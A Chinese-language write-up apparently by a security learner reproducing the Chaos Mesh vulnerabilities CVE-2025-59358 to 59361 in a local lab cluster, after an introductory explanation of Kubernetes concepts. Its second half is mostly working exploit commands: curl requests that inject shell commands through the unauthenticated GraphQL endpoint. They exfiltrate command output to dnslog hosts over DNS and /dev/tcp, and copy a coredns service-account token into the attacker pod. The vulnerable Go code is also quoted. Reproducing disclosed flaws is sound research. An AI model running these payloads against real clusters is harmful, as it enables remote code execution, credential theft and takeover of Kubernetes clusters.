CVE-2025-59358----CVE-2025-59361复现
一个Node(服务器)上可以放多个Pod(集装箱),这些Pod会按Namespace(功能分区)分组管理——就像码头的“1号区(Node)”里,放了“生鲜区(Namespace)的3个Pod”和“工业品区(Namespace)的2个Pod”,分区明确,互不干扰,还能统一管控。
关键概念
Kubernetes
由于我也是云安全小白,简单提一下相关概念不细说,网上一堆文章,可以看这两个博主写的
https://zhuanlan.zhihu.com/p/547583331
https://cloud.tencent.com/developer/article/1746954
可以把 Kubernetes(简称 k8s)理解成一个 “智能集装箱码头的管理系统”,用日常场景就能讲明白它的核心作用:
你想想,码头里会有很多“集装箱”(对应实际工作中的 应用程序,比如你手机里用的外卖APP、刷的短视频后台服务),每个集装箱里装着“货物”(APP运行需要的代码、数据、依赖工具)。
以前没k8s的时候,码头管理全靠人工:
- 得手动找空地放集装箱(给APP分配服务器资源);
- 集装箱坏了(APP崩溃),得等人发现了再搬新的过来(重启服务);
- 旺季货物多了(用户突然变多,APP需要更多算力),得手动加集装箱、接线路(扩容服务器);
- 要是码头部分区域停电(某台服务器故障),那片的集装箱全没法用(服务中断),还得手动把集装箱挪到有电的区域(迁移服务)。
而k8s就像给码头装了个“全自动管理大脑”,能帮你搞定所有麻烦:
- 自动“摆集装箱”:你告诉它“我有10个APP要运行”,它会自动找码头里有空位的区域(空闲服务器),把集装箱整齐放好,不用你管具体放哪。
- 自动“修坏箱子”:一旦某个集装箱坏了(APP崩了),它能立刻检测到,然后自动复制一个新的集装箱补上,用户完全感觉不到服务断过。
- 自动“加箱子/减箱子”:旺季来了,用户访问量翻倍,它会自动多放几个相同的集装箱(给APP加服务器),保证大家用着不卡;淡季人少了,又会自动撤走多余的箱子(释放资源),不浪费钱。
- 自动“挪箱子”:如果码头某块区域停电(服务器故障),它会立刻把那片的集装箱搬到其他有电的区域(迁移到正常服务器),服务一点都不耽误。
- 统一“管箱子”:不管你有10个还是1000个集装箱(APP),不用一个个去盯,只要在k8s的“控制台”上点几下,就能看所有集装箱的状态、改配置,甚至一键升级APP(比如给外卖APP更到新版本)。
简单说,k8s的核心就是帮企业“管好跑在服务器上的各种应用”,让应用能 稳定不崩、灵活扩缩、少靠人工 —— 就像给杂乱的“服务器机房”装了个智能管家,不用再天天手动折腾。
集群(Cluster)
在云安全领域,“集群”可以先理解成 “多台服务器(或云资源)组成的‘ teamwork 小分队’” —— 这些服务器不单独干活,而是凑在一起协同完成某个任务(比如跑一个大型APP、存储海量数据),并且对外看起来像“一个整体”。
打个更通俗的比方:就像一家餐厅,单靠1个厨师(单台服务器)可能忙不过来,于是老板招了3个厨师+2个配菜员(多台资源)组成“后厨团队”,这个团队就是“集群”—— 他们一起分工做餐(处理业务),客人点单只找前台(不用管后厨具体谁做),哪怕1个厨师临时请假(某台服务器故障),其他厨师也能顶上(集群自动补位),不会耽误出餐。
为什么云环境里要搞“集群”?核心和安全、稳定直接相关
云场景下的业务往往量大、敏感(比如电商交易、用户数据),单台服务器扛不住也不安全,集群的价值就体现在这:
-
“抗揍”:避免单点故障,安全性更稳
单台服务器如果被黑客攻击瘫痪、或硬件坏了,业务就直接停了(比如你用的APP突然打不开)。但集群里有“备用队员”—— 哪怕某台服务器被攻击/故障,其他服务器会立刻接手,业务不停、数据不丢,相当于给安全加了“双保险”。 -
“能扛”:分散压力,减少被攻击的突破口
比如双11时,一个电商APP有上亿人访问,如果所有压力都压在1台服务器上,服务器很容易因过载崩溃(甚至被“DDoS攻击”打垮)。集群会把访问压力分到多台服务器上(比如100台服务器各扛100万人),每台压力都小,既不容易崩,也减少了“一台崩全崩”的风险。 -
“好管”:统一控制,安全规则好落地
云安全需要加很多防护(比如防火墙、数据加密、漏洞扫描),如果每台服务器都单独配置,不仅麻烦,还容易漏配(比如某台忘了开防火墙,成了黑客突破口)。集群可以“统一管理”—— 管理员只需要给整个集群设一套安全规则(比如“所有服务器都禁止外部直接访问数据库”),所有服务器会自动同步执行,不会出现“有的防、有的不防”的漏洞。
云安全领域常见的“集群类型”,帮你更具体理解
不同业务需要的“小分队”职能不同,常见的有两种:
-
计算集群:专门跑APP、处理业务的“干活小分队”
比如你刷的短视频APP,背后就是成百上千台服务器组成的计算集群—— 有的负责处理你的“点赞”请求,有的负责推送给你新视频,集群会自动分配任务,同时防护每台服务器不被攻击(比如拦截恶意请求)。 -
存储集群:专门存数据的“仓库小分队”
比如你的聊天记录、云盘文件,不会存在单台服务器里(丢了就没了),而是存在“存储集群”里—— 数据会自动分成多份,存在不同服务器上,还会做“备份”(比如一份数据存3台服务器)。哪怕某台存数据的服务器被黑、数据损坏,其他服务器里的备份还在,数据安全有保障。
总结下来:云安全里的“集群”,本质是用“团队协作”代替“单打独斗”—— 既让业务更稳、更能扛住压力,也让安全防护更统一、更不容易出漏洞,是云环境里保障业务和数据安全的“基础操作”。
namespace、node、pod
首先明白集群和节点的关系
集群是指一组协同工作的计算机(节点)的集合,它们作为一个单一系统向用户提供服务。节点是集群中的单个计算机或服务器,它是集群的基本组成单位。
1. Node(节点):码头里“能放箱子的具体场地”
你可以把Node直接理解成 “一台实实在在的服务器”(可能是物理服务器,也可能是云里的虚拟服务器,比如阿里云的ECS、腾讯云的CVM)。
就像码头里的“1号装卸区”“2号存储区”——这些区域是“能干活的实体场地”,每个场地都有自己的空间(服务器的CPU、内存)、电力(服务器的运行资源),专门用来放集装箱、处理货物。
- 码头里不会只有一个“区”(Node),通常会有多个,这样就算1号区停电(某台服务器故障),2号区还能接着用;
- k8s会盯着所有Node的状态:比如1号Node内存快满了,就不会再往它那塞新“箱子”,而是分配到空闲的2号Node上。
2. Pod(容器组):码头里“装着货物的集装箱”
Pod是k8s里“最小的干活单位”,可以理解成 “一个或一组绑在一起的‘集装箱’”,里面装的是“要运行的应用”(比如一个外卖APP的“订单处理模块”)。
举个例子:
- 有些简单的应用,一个“集装箱”(Pod)就够了(比如一个小网站的代码+运行工具);
- 有些应用得多个“集装箱”绑一起才管用:比如一个“数据处理应用”,得有“计算集装箱”(算数据)+“存储集装箱”(临时存数据),这两个就会打包成一个Pod,一起启动、一起停止,不会分开。
- 关键特点:Pod是“临时的”——如果这个Pod崩了(比如应用崩溃),k8s会立刻在某个Node上造一个新的Pod补上,就像集装箱坏了换个新的,不影响整体业务。
3. Namespace(命名空间):码头里“划分好的功能片区”
Namespace相当于 “码头里的分区管理”,比如把码头分成“生鲜区”“工业品区”“危险品区”,每个区互相独立,互不干扰。
为什么要分?比如一个大公司里:
- 开发团队要测试新功能,需要一些Pod(集装箱);
- 运维团队要跑正式的业务,也需要一些Pod;
- 如果不分Namespace,所有Pod混在一起,很容易乱——比如开发不小心删了运维的Pod,就会搞崩正式业务。
这时用Namespace分开:
- 建一个“dev命名空间”:里面只放开发用的Pod,随便折腾不影响别人;
- 建一个“prod命名空间”:里面只放正式业务的Pod,加严格的权限控制,谁也不能随便动;
- 就像码头“生鲜区”的人不能随便进“危险品区”,Namespace实现了“隔离”,既方便管理,也减少了误操作或安全风险(比如黑客就算闯进dev区,也碰不到prod区的核心业务)。
一句话总结三者关系:
一个Node(服务器)上可以放多个Pod(集装箱),这些Pod会按Namespace(功能分区)分组管理——就像码头的“1号区(Node)”里,放了“生鲜区(Namespace)的3个Pod”和“工业品区(Namespace)的2个Pod”,分区明确,互不干扰,还能统一管控。
chaos mesh
Chaos Mesh 是一个开源的云原生混沌工程平台,提供丰富的故障模拟类型,具有强大的故障场景编排能力,方便用户在开发测试中以及生产环境中模拟现实世界中可能出现的各类异常,帮助用户发现系统潜在的问题。Chaos Mesh 提供完善的可视化操作,旨在降低用户进行混沌工程的门槛。用户可以方便地在 Web UI 界面上设计自己的混沌场景,以及监控混沌实验的运行状态。(来自https://chaos-mesh.org/zh/docs/)
Chaos Mesh是一个集群范围内的产品,结合之前提到的 Node(节点,类似码头的“功能区”)、Pod(容器组,类似“集装箱”)、Namespace(命名空间,类似“功能片区”)概念,Chaos Mesh 可以理解成云原生环境里的“故障模拟考官”,专门在 Kubernetes 集群(由多个 Node 组成的“码头”)里搞“压力测试”,故意制造各种故障,看看系统能不能扛住,同时还能精准控制故障范围,不影响正常业务。
核心作用:模拟故障,提前“排雷”
就像消防员会定期搞消防演练,Chaos Mesh 就是给 Kubernetes 集群搞“故障演练”的工具。它能模拟现实中可能出现的各种问题,比如:
- 折腾 Pod(集装箱):故意让某个 Pod 崩溃、卡顿,看集群会不会自动新建 Pod 补上,就像测试“集装箱坏了,码头能不能快速换个新的继续干活”;
- 干扰 Node(功能区):模拟某台 Node(服务器)故障、资源不足,观察集群会不会把 Pod 转移到其他正常 Node 上,避免业务中断;
- 隔离 Namespace(功能片区):比如只在“开发命名空间”里搞故障测试,完全不影响“生产命名空间”的正式业务,就像在码头的“测试区”折腾,不会碰“生鲜区”的货物。
关键特点:安全、好上手、场景全
- 精准控场,不搞破坏:可以指定只在某个 Namespace、某几台 Node 或特定 Pod 上模拟故障,不会让整个集群瘫痪,安全性很高;
- 可视化操作,小白也能玩:有网页界面(Chaos Dashboard),不用敲复杂命令,点点鼠标就能设计故障场景(比如“让 Pod 每隔10分钟崩溃一次”),还能实时看实验进度;
- 场景超全,贴近真实:除了上述的 Pod、Node 故障,还能模拟网络卡慢、硬盘读写错误等常见问题,几乎覆盖分布式系统可能遇到的大部分故障;
- 自动化编排,省心高效:能把多个故障场景串起来搞“组合演练”,比如“先让 Node 故障,再让 Pod 崩溃”,还能自动检查系统有没有恢复,不用人工盯着。
实际价值:让集群更“抗造”
比如电商平台在大促前,用 Chaos Mesh 在测试环境的集群里模拟“大量 Pod 崩溃+部分 Node 故障”,如果发现系统能自动恢复,业务没受影响,就说明集群足够稳定;如果发现某个环节卡住了(比如 Pod 没自动重建),就能提前修复问题,避免大促时真出故障导致损失。
漏洞介绍
CVE-2025-59358
Chaos Mesh 中的 Chaos Controller Manager 向整个 Kubernetes 集群公开了一个无需身份验证的 GraphQL 调试服务器,该服务器提供了一个 API 来终止任何 Kubernetes Pod 中的任意进程,从而导致集群范围的拒绝服务。
CVE-2025-59359
Chaos Controller Manager 中的 cleanTcs 突变容易受到作系统命令注入的攻击。结合 CVE-2025-59358,这允许未经身份验证的集群内攻击者跨集群执行远程代码执行。
CVE-2025-59360
Chaos Controller Manager 中的 killProcesses 突变容易受到作系统命令注入的攻击。结合 CVE-2025-59358,这允许未经身份验证的集群内攻击者跨集群执行远程代码执行。
CVE-2025-59361
Chaos Controller Manager 中的 cleanIptables 突变容易受到作系统命令注入的攻击。结合 CVE-2025-59358,这允许未经身份验证的集群内攻击者跨集群执行远程代码执行。
后面三个漏洞是 “单个 Kubernetes 集群内部的‘Pod 对 Pod’攻击”—— 攻击者通过集群内已控制的普通 Pod,利用 Chaos Mesh 的漏洞,跨节点攻击集群内任意其他 Pod,最终可能实现整个集群的接管。
条件限制
根据Chaotic Deputy: Critical vulnerabilities in Chaos Mesh lead to Kubernetes cluster takeover这篇文章,从外网攻击到成功利用该漏洞接管K8s集群需要四个条件。
条件1:突破K8s集群的外网边界,获取“集群网络访问权限”
文档明确指出,Chaotic Deputy漏洞的首要攻击前提是“攻击者需先获得集群网络访问权限”(原文提到:“In order to exploit “Chaotic Deputy” an attacker will need initial access to the Cluster’s network.”)。
对于外网攻击者而言,这意味着需先突破K8s集群的外网防护屏障,常见方式包括:
- 利用集群暴露在外网的薄弱组件(如未授权的API Server、Dashboard、Ingress控制器)漏洞,进入集群网络;
- 攻陷集群内已暴露外网的业务Pod(如Web服务、数据库),以该Pod为“跳板”进入集群网络;
- 通过社工、口令破解等方式获取集群内网机器(如节点、运维机器)的访问权限,间接接入集群网络。
若无法突破外网边界、仅停留在集群外部,攻击者无法触达Chaos Mesh的核心组件(如Chaos Controller Manager),漏洞利用从第一步就会失败。
条件2:目标集群已部署存在漏洞的Chaos Mesh版本
漏洞仅影响Chaos Mesh 2.7.3之前的版本(原文:“if the ‘chaos-mesh’ image version is earlier than 2.7.3… you are vulnerable”)。
外网攻击者需确认目标集群满足:
- 已部署Chaos Mesh(非默认部署组件,需目标主动使用);
- 部署的版本未升级到修复版2.7.3,且未通过“禁用CtrlServer”等临时方案修复(原文Workarounds章节:“disable the chaosctl tool and port”)。
若目标集群未部署Chaos Mesh,或已升级到2.7.3及以上版本,漏洞本身不存在可利用的基础。
条件3:Chaos Controller Manager的GraphQL服务处于“可访问且未授权”状态
漏洞的核心利用入口是Chaos Controller Manager的GraphQL服务器(默认端口10082),其需同时满足两个特性:
- 网络可访问性:该服务默认是ClusterIP类型(仅集群内可访问),但需确保攻击者能从“已突破的集群网络位置”(如跳板Pod)访问到该服务的10082端口(原文:“the port number ‘10082’ returned from the pod’s description”是漏洞存在的标志之一);
- 无认证保护:文档指出,GraphQL的“/query”端点默认未强制认证(原文代码片段显示:“this server was not enforcing authentication for the ‘/query’ endpoint”),攻击者无需任何权限即可向该端点发送恶意请求(如执行killProcesses、cleanTcs等 mutation)。
若GraphQL服务被网络策略隔离(如仅允许特定Pod访问)、或已通过配置启用认证,攻击者无法向其发送恶意指令,漏洞利用会卡在“指令投递”环节。
条件4:通过指令注入触发漏洞,实现“横向移动”以接管集群
外网攻击者在满足前3个条件后,需通过GraphQL服务的3个存在OS指令注入的mutation(CVE-2025-59359/CVE-2025-59360/CVE-2025-59361)执行恶意操作,核心步骤需满足:
- 注入任意OS命令:利用cleanTcs(清理TC规则)、killProcesses(杀死进程)、cleanIptables(清理iptables链)的输入未过滤漏洞,将恶意命令(如复制服务账户令牌)拼接进指令中(例如:在devices参数中注入“eth0 root; cp /proc/<目标PID>/root/var/run/secrets/…/token /tmp/”);
- 获取目标Pod的PID映射:通过Chaos Controller Manager的其他API调用,查询集群内所有Pod的名称与对应PID(原文:“use other API calls found on the Chaos Controller Manager to view all pod names and their corresponding PID”),确保恶意命令能精准指向目标Pod(如特权Pod的服务账户令牌路径);
- 利用Chaos Daemon的特权执行能力:Chaos Daemon默认以Privileged模式运行(原文:“Chaos Daemon runs in the DaemonSet mode and has the Privileged permission by default”),且能通过“nsexec”在任意Pod的命名空间中执行命令——这是攻击者从“注入命令”到“实际控制目标Pod”的关键(例如:窃取特权服务账户令牌后,用kubectl执行集群级操作)。
总结:外网攻击的“苛刻性”体现在多环节依赖
从外网利用该漏洞的核心难点在于:需先突破外网边界(高难度),再满足Chaos Mesh的版本/配置漏洞(目标依赖性强),最后通过精准的指令注入与横向移动(技术细节要求高)。任一环节的防护措施(如外网防火墙、Chaos Mesh升级、GraphQL认证、Daemon权限限制)都会阻断攻击,这也是文档中强调“漏洞易被集群内攻击者利用,但外网攻击需跨越更多障碍”的原因。
复现环境准备
我用的是Ubuntu22虚拟机。
首先安装kind、kubectl、helm(网上有教程)
关闭交换文件,当时因为这个报了个错
既然是集群范围内的产品,我们必须创建一个集群(建议挂梯子,外网拉取资源较慢)
kind create cluster --name chaos-mesh-cluster

检查集群状态kubectl get nodes

安装chaos mesh
helm repo add chaos-mesh https://charts.chaos-mesh.org
helm install chaos-mesh chaos-mesh/chaos-mesh \
--namespace chaos-mesh \
--create-namespace \
--version 2.7.2 \
--set chaosDaemon.runtime=containerd \
--set chaosDaemon.socketPath=/run/containerd/containerd.sock
等待1到2分钟后,查看chaos-mesh命名空间的pod状态
kubectl get pods -n chaos-mesh
如果全部是running就算成功

复现漏洞
创建测试pod作为已经被攻陷的pod,默认在default命名空间下,作为攻击方进。注意这里漏洞利用条件还是比较苛刻的,真实场景中应该是通过某些web漏洞或其他漏洞拿到了这个pod的终端,可以在pod终端执行命令才行。
kubectl run test-pod --image=ubuntu:22.04 -- sleep infinity

进入攻击pod的shell
kubectl exec -it test-pod -- /bin/bash
apt update
apt install -y curl jq # 安装curl,发送恶意请求要用
Chaos Mesh 的核心组件 chaos-controller-manager 会通过 K8s Service 暴露接口,在集群内部可通过 “Service 名。命名空间.svc” 访问:

另起终端,进入chaos-mesh命名空间的叫chaos-daemon-xxxxx的pod的终端(为了检查漏洞利用结果)。
CVE-2025-59358
分析“Chaos Controller Manager”服务帐户显示它是 ClusterIP 类型(这使得公开的端口在整个集群中可用):
由于本人比较菜,就没源码调试,根据参考链接1,控制器上默认激活的调试工具是一个公开的 GraphQL 服务器。该服务器没有对“/query”端点强制执行身份验证。
// 检查控制器配置中是否设置了控制服务器地址(非空则启动)
if ccfg.ControllerCfg.CtrlAddr != "" {
// 启动独立协程运行控制服务器(避免阻塞主线程)
go func() {
// 创建HTTP请求路由器(多路复用器)
mutex := http.NewServeMux()
// 注册根路由:GraphQL开发调试界面(Playground)
mutex.Handle("/", playground.Handler("GraphQL playground", "/query"))
// 注册API端点:实际处理GraphQL查询的路由
mutex.Handle("/query", params.CtrlServer)//🚨 漏洞点:未授权访问
// 记录服务器启动信息(地址信息)
setupLog.Info("setup ctrlserver", "addr", ccfg.ControllerCfg.CtrlAddr)
// 启动HTTP服务器并监听指定地址,记录可能的错误
setupLog.Error(http.ListenAndServe(ccfg.ControllerCfg.CtrlAddr, mutex), "unable to start ctrlserver")
}()
}
// 向hookServer注册认证验证的Webhook端点
hookServer.Register(
"/validate-auth", // Webhook的URL路径
&webhook.Admission{ // Kubernetes准入控制器配置
Handler: apiWebhook.NewAuthValidator(
ccfg.ControllerCfg.SecurityMode, // 安全策略模式
authCli, // 认证客户端实例
mgr.GetScheme(), // Kubernetes API类型方案
ccfg.ControllerCfg.ClusterScoped, // 是否集群范围操作
ccfg.ControllerCfg.TargetNamespace, // 目标命名空间
ccfg.ControllerCfg.EnableFilterNamespace, // 是否启用命名空间过滤
params.Logger.WithName("validate-auth"), // 专用日志记录器
),
},
)
最直观的效果就是别的命名空间都能直接访问http://chaos-mesh-controller-manager.chaos-mesh.svc.cluster.local:10082/query,这个也是后面3个漏洞都要用到的。
CVE-2025-59359
cleanTcs突变的GraphQL语法格式
mutation MutatePod($namespace: String! = \"default\", $podName: String!, $devices: [String!]!) {
pod(ns: $namespace, name: $podName) {
pod {
name
namespace
}
cleanTcs(devices: $devices)
}
}
它的解析器是
// cleanTcs returns actually cleaned devices
func (r *Resolver) cleanTcs(ctx context.Context, obj *v1.Pod, devices []string) ([]string, error) {
var cleaned []string
for _, device := range devices {
// 漏洞点1:用户可控参数device未做任何净化处理(如过滤特殊字符),直接拼接进命令
// 若攻击者传入恶意device值(如"eth0; ls /"),拼接后命令会变成 "tc qdisc del dev eth0; ls /"
// 系统会先执行原tc命令,再额外执行注入的"ls /",实现命令注入
cmd := "tc qdisc del dev " + device + " root"
_, err := r.ExecBypass(ctx, obj, cmd, bpm.PidNS, bpm.NetNS)
if err != nil {
return cleaned, errors.Wrapf(err, "exec `%s`", cmd)
}
cleaned = append(cleaned, device)
}
return cleaned, nil
}
在test-pod终端发送如下请求
curl -X POST http://chaos-mesh-controller-manager.chaos-mesh.svc:10082/query -H "Content-Type: application/json" -d '{"query":"mutation ExploitPodCleanTcs { pod(ns:\"default\",name:\"test-pod\") { cleanTcs(devices:[\"eth0;whoami > /tmp/chaos-inject.txt #\"]) } }"}'
回到chaos-daemon那个终端,看看是否有/tmp/chaos-inject.txt(由参考链接1知,命令是在chaos-daemon这个pod里面执行的)

查看curl的回显,报了个错,但是依然是执行了命令,注意命令后会自动拼接一个root字符串,因此刚刚的chaos-inject.txt后面我带了个#号注释了这个root字符串。
也可以用||,因为tc qdisc del dev eth0命令是失败的
curl -X POST http://chaos-mesh-controller-manager.chaos-mesh.svc:10082/query -H "Content-Type: application/json" -d '{"query":"mutation ExploitPodCleanTcs { pod(ns:\"default\",name:\"test-pod\") { cleanTcs(devices:[\"eth0||id > /tmp/chaos-inject.txt #\"]) } }"}'

但是https://jfrog.com/blog/chaotic-deputy-critical-vulnerabilities-in-chaos-mesh-lead-to-kubernetes-cluster-takeover/这篇文章用了更加高级的攻击手法,如下
curl -X POST http://chaos-mesh-controller-manager.chaos-mesh.svc.cluster.local:10082/query -H 'Content-Type: application/json' -d '{
"query": "mutation MutatePod($namespace: String! = \"default\", $podName: String!, $devices: [String!]!) { pod(ns: $namespace, name: $podName) { pod { name namespace } cleanTcs(devices: $devices) } }",
"variables": {
"namespace": "kube-system",
"podName": "coredns-5dd5756b68-779rm",
"devices": ["eth0 root; cp /proc/3182/root/var/run/secrets/kubernetes.io/serviceaccount/token /proc/187600/root/tmp/stolen_token; "]
}
}'
问题是需要获取coredns-XXXX-XXX的PID,但我尝试进入他们的shell时发现他们没有sh或者bash
然后也尝试过其他方法,都没法获取到PID,于是再次看了一遍jfrog这篇博客,发现可以用其他方式。这篇博客提到
Luckily for us – by design, the Chaos Daemon is able to execute arbitrary commands on any other pod in the cluster. Each pod’s filesystem is mounted under a “/proc/<PID>/root” path in the daemon. The daemon uses the “nsexec” binary to perform command execution in any pod in the cluster. This is achieved by communicating with exposed namespaces in the “proc” filesystem of the pod.
从上面的结果知我们的命令是在Chaos Daemon这个POD里面执行的,而其他pod又挂载了他们的文件系统在Chaos Daemon的“/proc/<PID>/root”路径下,所以可构造如下payload
curl -X POST http://chaos-mesh-controller-manager.chaos-mesh.svc:10082/query -H "Content-Type: application/json" -d '{"query":"mutation ExploitPodCleanTcs { pod(ns:\"default\",name:\"test-pod\") { cleanTcs(devices:[\"eth0;ls -l /proc/*/root/etc/coredns/Corefile|grep coredns> /tmp/pids.txt #\"]) } }"}'

由于攻击者可能没有chaos-daemon-xxxxx的shell权限,无法进入里面查看命令结果,所以利用借助https://dnslog.org/这个网站。
如果chaos-daemon这个pod有nslookup,下面payload可能成功(没试过不知道得不得,因为chaos-daemon-xxxxx实际上没有nslookup)
curl -X POST http://chaos-mesh-controller-manager.chaos-mesh.svc:10082/query \
-H "Content-Type: application/json" \
-d '{"query":"mutation { pod(ns:\"default\",name:\"test-pod\") { cleanTcs(devices:[\"eth0; ls -l /proc/*/root/etc/coredns/Corefile 2>/dev/null | base64 -w 50 | tr \\\"+/\\\" \\\"-_\\\" | while read segment; do nslookup ${segment}.8469f64b.log.dnslog.myfw.us; done #\"]) } }"}'
如果基本上啥发起请求的工具都没有,
curl -X POST http://chaos-mesh-controller-manager.chaos-mesh.svc:10082/query \
-H "Content-Type: application/json" \
-d '{"query":"mutation { pod(ns:\"default\",name:\"test-pod\") { cleanTcs(devices:[\"eth0; ls -l /proc/*/root/etc/coredns/Corefile 2>/dev/null | base64 | tr \\\"+/\\\" \\\"-_\\\" | xargs -I \\\"{}\\\" bash -c \\\"exec 3<>/dev/tcp/{}.78e17c51.log.dnslog.myfw.us/80 && exec 3>&- && exec 3<&-\\\" #\"]) } }"}'
# 上面的命令肯定是失败的,因为域名过长,但是我们通过报错,没错就是报错可以发现ls命令的回显的base64编码
#-------------------------------------------------------------------------------------
# 当然试过下面这个分段方法,虽然能查但是dnslog回显的base64编码和之前报错的不一样,解码是乱码,所以用上面的方法即可
curl -X POST http://chaos-mesh-controller-manager.chaos-mesh.svc:10082/query \
-H "Content-Type: application/json" \
-d '{"query":"mutation { pod(ns:\"default\",name:\"test-pod\") { cleanTcs(devices:[\"eth0; ls -l /proc/*/root/etc/coredns/Corefile 2>/dev/null | base64 | fold -w 35 | while read chunk; do bash -c \\\"exec 3<>/dev/tcp/${chunk}.78e17c51.log.dnslog.myfw.us/80 && exec 3>&- && exec 3<&-\\\" 2>/dev/null; sleep 0.5; done #\"]) } }"}'
好了执行了分割线上面的payload结果如下
可看到下面的base64编码被分成四段
在回显的base64编码中,有特殊字符-或者_,这是因为在原始命令中使用了tr “+/” "-"将标准的base64字符+/替换为了-。在解码前,需要先将这些字符转换回标准的base64字符
于是执行
echo "bHJ3eHJ3eHJ3eCAxIHJvb3Qgcm9vdCAxNSBPY3QgIDUgMDQ6MjMgL3Byb2MvMTg1MC9yb290L2V0" | tr "_-" "/+" | base64 -d
echo "Yy9jb3JlZG5zL0NvcmVmaWxlIC0-IC4uZGF0YS9Db3JlZmlsZQpscnd4cnd4cnd4IDEgcm9vdCBy" | tr "_-" "/+" | base64 -d
echo "b290IDE1IE9jdCAgNSAwNDoyMyAvcHJvYy8yMTQ4L3Jvb3QvZXRjL2NvcmVkbnMvQ29yZWZpbGUg" | tr "_-" "/+" | base64 -d
echo "LT4gLi5kYXRhL0NvcmVmaWxlCg==" | tr "_-" "/+" | base64 -d
可看到完美还原了ls命令的输出,找到了coredns的PID
找攻击方pod的PID命令如下
curl -X POST http://chaos-mesh-controller-manager.chaos-mesh.svc:10082/query -H "Content-Type: application/json" -d '{"query":"mutation { pod(ns:\"default\",name:\"test-pod\") { cleanTcs(devices:[\"eth0; find /proc -name environ -type f | xargs grep -l HOSTNAME=test-pod | cut -d/ -f3 | base64 | tr \\\"+/\\\" \\\"-_\\\" | xargs -I \\\"{}\\\" bash -c \\\"exec 3<>/dev/tcp/{}.e03e5dc2.log.dnslog.myfw.us/80 && exec 3>&- && exec 3<&-\\\" #\"]) } }"}'


有3个PID(1935 3209 8745),这里在攻击方的根目录创建一个文件exp.sh然后随便写点啥进去

可以用上面的PID一个个尝试在chaos-daemon里面读取该文件,读成功则该PID有效
curl -X POST http://chaos-mesh-controller-manager.chaos-mesh.svc:10082/query -H "Content-Type: application/json" -d '{"query":"mutation { pod(ns:\"default\",name:\"test-pod\") { cleanTcs(devices:[\"eth0; cat /proc/1935/root/exp.sh| xargs -I \\\"{}\\\" bash -c \\\"exec 3<>/dev/tcp/{}.e03e5dc2.log.dnslog.myfw.us/80 && exec 3>&- && exec 3<&-\\\" #\"]) } }"}'


最后构造payload,在daemon这个pod上面执行cat /proc/1850/root/etc/hostname获取受害机的pod名,然后想办法dns外带
curl -X POST http://chaos-mesh-controller-manager.chaos-mesh.svc:10082/query -H "Content-Type: application/json" -d '{"query":"mutation { pod(ns:\"default\",name:\"test-pod\") { cleanTcs(devices:[\"eth0; cat /proc/<具体PID>/root/etc/hostname| xargs -I \\\"{}\\\" bash -c \\\"exec 3<>/dev/tcp/{}.61878e37.log.mynat.eu.org/80 && exec 3>&- && exec 3<&-\\\" #\"]) } }"}'

不过想方便也可直chaos-daemon终端里面获取主机名,毕竟只是复现而已,然后我就另外获取了coredns-66bc5c9577-xr9td这个名字
最后执行
curl -X POST http://chaos-mesh-controller-manager.chaos-mesh.svc.cluster.local:10082/query -H 'Content-Type: application/json' -d '{
"query": "mutation MutatePod($namespace: String! = \"default\", $podName: String!, $devices: [String!]!) { pod(ns: $namespace, name: $podName) { pod { name namespace } cleanTcs(devices: $devices) } }",
"variables": {
"namespace": "kube-system",
"podName": "coredns-66bc5c9577-xr9td",
"devices": ["eth0 root; cp /proc/1850/root/var/run/secrets/kubernetes.io/serviceaccount/token /proc/1935/root/tmp/stolen_token; "]
}
}'
这边也是成功窃取到了其他pod的token
关于参考链接1提到的
Chaotic Deputy: Critical vulnerabilities in Chaos Mesh lead to Kubernetes cluster takeover提到的“In order to map which pod name corresponds to which PID, we can use other API calls found on the Chaos Controller Manager in order to view all pod names and their corresponding PID.”
这个API是哪个呢??????????以我的搜索能力是搜不到了,于是用了上面那种很复杂的方法获取PID
CVE-2025-59360
下载了源码看了看killProcess解析器实现,2.7.2版本
func (r *Resolver) killProcess(ctx context.Context, pod *v1.Pod, pids []string) ([]*model.KillProcessResult, error) {
pidSet := make(map[string]bool)
for _, pid := range pids {
pidSet[pid] = true
}
// all processes in target pod
allProcess, err := r.GetPidFromPS(ctx, pod)
if err != nil {
return nil, errors.Wrapf(err, "get process on pod %s/%s", pod.Namespace, pod.Name)
}
// the intersection of all processes and pids
var pidList []string
var killResults []*model.KillProcessResult
for _, process := range allProcess {
if _, ok := pidSet[process.Pid]; ok {
pidList = append(pidList, process.Pid)
killResults = append(killResults, &model.KillProcessResult{
Pid: process.Pid,
Command: process.Command,
})
}
}
if len(pidList) == 0 {
return nil, nil
}
cmd := fmt.Sprintf("kill %s", strings.Join(pids, " "))//‼️这里的 pids 是函数的入参(最终来自用户控制的输入,比如 Chaos Mesh 的 API 请求),但代码没有对 pids 的内容做任何验证或过滤。
/*
正常场景下,pids 应是纯数字(如 ["123", "456"]),拼接后命令为 kill 123 456,无风险。
恶意场景下,攻击者可构造含命令分隔符的pids。
*/
if _, err = r.ExecBypass(ctx, pod, cmd, bpm.PidNS, bpm.MountNS); err != nil {
return nil, errors.Wrapf(err, "run command %s", cmd)
}
return killResults, nil
}
代码中存在一个逻辑矛盾,进一步放大风险:
代码先通过 allProcess 获取 Pod 内真实存在的进程,再与 pids 求交集,生成 “真实需要杀死的 PID 列表” pidList。
但最终执行命令时,没有使用筛选后的 pidList,反而用了原始的 pids 参数。
curl -X POST http://chaos-mesh-controller-manager.chaos-mesh.svc.cluster.local:10082/query \
-H "Content-Type: application/json" \
-d '{
"query": "mutation MutatePod($namespace: String!, $podName: String!, $pids: [String!]!) { pod(ns: $namespace, name: $podName) { pod { name namespace } killProcesses(pids: $pids) { pid command } } }",
"variables": {
"namespace": "default",
"podName": "target-pod",
"pids": ["1;ip a > /tmp/ipa.txt #"]
}
}'
#上面的命令失败,但是下面的命令成功
curl -X POST http://chaos-mesh-controller-manager.chaos-mesh.svc.cluster.local:10082/query \
-H "Content-Type: application/json" \
-d '{
"query": "mutation MutatePod($namespace: String!, $podName: String!, $pids: [String!]!) { pod(ns: $namespace, name: $podName) { pod { name namespace } killProcesses(pids: $pids) { pid command } } }",
"variables": {
"namespace": "default",
"podName": "test-pod",
"pids": ["1",";cat /etc/hostname > /tmp/res.txt"]
}
}'
我在test-pod执行sleep 3600 &创建进程,然后用进程PID替换上面payload的进程PID,命令注入失败,随后我尝试用不存在的PID尝试命令注入,依然失败,因为一旦识别到第一个PID不存在,解析器直接返回nil。
然后在test-pod创建python的http.server,pid=3279,替换上面payload的PID再尝试创建res.txt(如下图),命令注入成功,查看test-pod的进程,发现python服务器进程成为僵尸进程,说明确实执行了kill命令,res.txt也被创建

